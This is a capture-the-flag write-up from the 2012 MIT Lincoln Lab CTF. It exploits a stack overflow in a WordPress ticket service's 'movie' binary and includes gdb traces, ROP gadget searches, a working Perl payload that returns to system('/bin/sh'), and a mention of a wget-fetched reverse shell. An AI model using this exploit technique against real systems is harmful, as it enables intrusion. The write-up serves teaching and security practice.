This past weekend, I led team ” ” in the 2012 MIT Lincoln Lab CTF where we captured the flag for being the most offensive team, specifically, performing the most unique compromises of team + service. No, literally, we won the flag:
One of the services we were tasked to install was a client-facing WordPress widget called Ticket that dispatched out to a binary backend. In order to interact with the widget, users were required to first authenticate with the site using OpenID.
The widget kept a local database of users registered with the service in the text file /usr/share/wordpress/data.txt, where entries were stored in the format:
<display name>:<hashed WordPress password>:<CC number>
Users’ PII served as flags in the competition, so access to this data was coveted. However, this part was simple as the database installed itself readable to the web root. What we really wanted was a shell.
Adding and updating one’s own user entry in the database was handled by the following Ruby code listening as a Sinatra server on port 9494:
post '/ticket' do text = File.read("/usr/share/wordpress/data.txt") if (text.match(/^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/) text.gsub!( /^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/ , (params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn']))) else text.concat(params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'] + "\n") end File.open("/usr/share/wordpress/data.txt", "w") {|file| file.write text} redirect url end
Existing user:password:ccn tuples would be updated and new accounts would be appended to the end of the file. Note that each field of data is arbitrarily controlled by the user.
Subsequent visits to the WordPress site would trigger the widget to perform a lookup in the text file for the currently logged in user, which was handled by a binary named ‘movie’. The resulting command was crafted like:
movie 'displayname:$H$ashedpassword'
where the display name was sanitized by the following regex:
preg_replace("/[^a-zA-Z0-9 ]+/", "", $name);
A match in the database would prompt the binary to return a generated token based on the user’s information. However, what happens if we insert an unreasonably long entry in the database and then match it?
sysadmin@ctf-portal:~/ticket$ ./movie 'a:b' Segmentation fault
Yup, memory corruption! The application fails to check the length of the database entry before copying it onto the stack, resulting in a fairly straightforward stack-based overflow (which allows null bytes!). Control over the return pointer / RIP was achieved at offset 1048:
sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done. (gdb) run 'a:b' Starting program: /home/sysadmin/ticket/movie 'a:b' db5b35a4de8aa0f6 Program received signal SIGSEGV, Segmentation fault. 0x0000000000400e75 in confirmation () (gdb) x/i $rip => 0x400e75 : retq (gdb) x/xg $rsp 0x7fffffffe5c8: 0x4242424242424242
The game VMs were configured with NX enabled and ASLR disabled, however we still needed to write the exploit without hardcoded stack addresses due to the differing environments of each team.
For a separate command injection exploit in the competition, our payload method was just to inject a wget + chmod + execute command which fetched a reverse shell from one of our boxes. With ASLR disabled, it was decided the simplest path for this exploit would be just to return to system() and execute the same command string, saving the trouble of writing shellcode and marking a region of memory (writable-)executable.
Since the x86_64 calling convention on Linux passes arguments via registers starting at RDI, we’d need to ROP a little to store the address of our command string in RDI before calling system() without using hardcoded stack addresses. So we fire up ROPeMe and slice apart libc:
sysadmin@ctf-portal:~/ropeme64$ ./ropshell64 Simple ROP interactive shell: [generate, load, search] gadgets ROPeMe> generate /lib/x86_64-linux-gnu/libc.so.6 4 Generating gadgets for /lib/x86_64-linux-gnu/libc.so.6 with backward depth=4 It may take few minutes depends on the depth and file size... Processing code block 1/2 Processing code block 2/2 Generated 22371 gadgets Dumping asm gadgets to file: libc.so.6.ggt ... OK
An initial search for gadgets that manipulate RDI produced some nice results:
ROPeMe> search mov rdi % Searching for ROP gadget: mov rdi % with constraints: [] 0x163e02L: mov rdi [rdi+0x10] ; test rdi rdi ; jnz 0x163dfd ; pop rbx ;; 0x460d9L: mov rdi [rdi+0x68] ; xor eax eax ;; 0x6f2dcL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; mov rax 0xffffffffffffffff ;; 0x6f38cL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; xor eax eax ;; 0x487f0L: mov rdi rdx ; mov [rsi] al ; jnz 0x487d0 ; mov rax rsi ;; 0x11a194L: mov rdi rsp ; call rax ; add rsp 0x38 ;; 0x127d10L: mov rdi rsp ; call rdx ; add rsp 0x38 ;;
libc is nice enough to store the current RSP address to RDI and immediately CALL the value of either RAX or RDX. If we store our command string directly at the end of the ROP chain, RDI should contain the correct address upon time of CALL. We just need to find a “POP RAX” gadget to store the address of system() to and our exploit is complete.
ROPeMe> search pop rax Searching for ROP gadget: pop rax with constraints: [] 0x23950L: pop rax ;; 0x476e7L: pop rax ;; 0x476e8L: pop rax ;;
The first one should do fine. Add each gadget address to the base address of libc (0x7ffff6336000), obtained by inspecting /proc/pid/maps like so:
sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x400e7a
(gdb) run
Starting program: /home/sysadmin/ticket/movie
Breakpoint 1, 0x0000000000400e7a in main ()
(gdb) shell
sysadmin@ctf-portal:~/ticket$ ps aux | grep movie
sysadmin 2662 0.2 1.0 50372 11160 pts/0 S 20:05 0:00 gdb --quiet ./movie
sysadmin 2664 0.0 0.0 4160 352 pts/0 t 20:05 0:00 /home/sysadmin/ticket/movie
sysadmin 2722 0.0 0.0 8104 920 pts/0 S+ 20:05 0:00 grep --color=auto movie
sysadmin@ctf-portal:~/ticket$ grep libc /proc/2664/maps
7ffff7a1b000-7ffff7bd0000 r-xp 00000000 08:01 106 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7bd0000-7ffff7dcf000 ---p 001b5000 08:01 106 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dcf000-7ffff7dd3000 r--p 001b4000 08:01 106 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd3000-7ffff7dd5000 rw-p 001b8000 08:01 106 /lib/x86_64-linux-gnu/libc-2.15.so
And our finished PoC looks like:
sysadmin@ctf-portal:~/ticket$ sudo su - root@ctf-portal:~# perl -e'print "a:b:" . "A"x1044 . "\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . "\x60\x06\xa6\xf7\xff\x7f\x00\x00" . "\x94\x51\xb3\xf7\xff\x7f\x00\x00" . "/bin/sh"' > /usr/share/wordpress/data.txt root@ctf-portal:~# logout sysadmin@ctf-portal:~/ticket$ ./movie 'a:b' 2b7e6fb14408cb4f $
Dissecting the exploit string for greater clarity:
Dissecting the exploit string for greater clarity: "a:b:" . "A"x1044 . # Padding "\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . # POP RAX "\x60\x06\xa6\xf7\xff\x7f\x00\x00" . # &system "\x94\x51\xb3\xf7\xff\x7f\x00\x00" . # MOV RDI, RSP; CALL RAX "/bin/sh" # String literal "/bin/sh"
The actual exploit string required delivery over HTTP POST and a second request to the home page to trigger the exploit.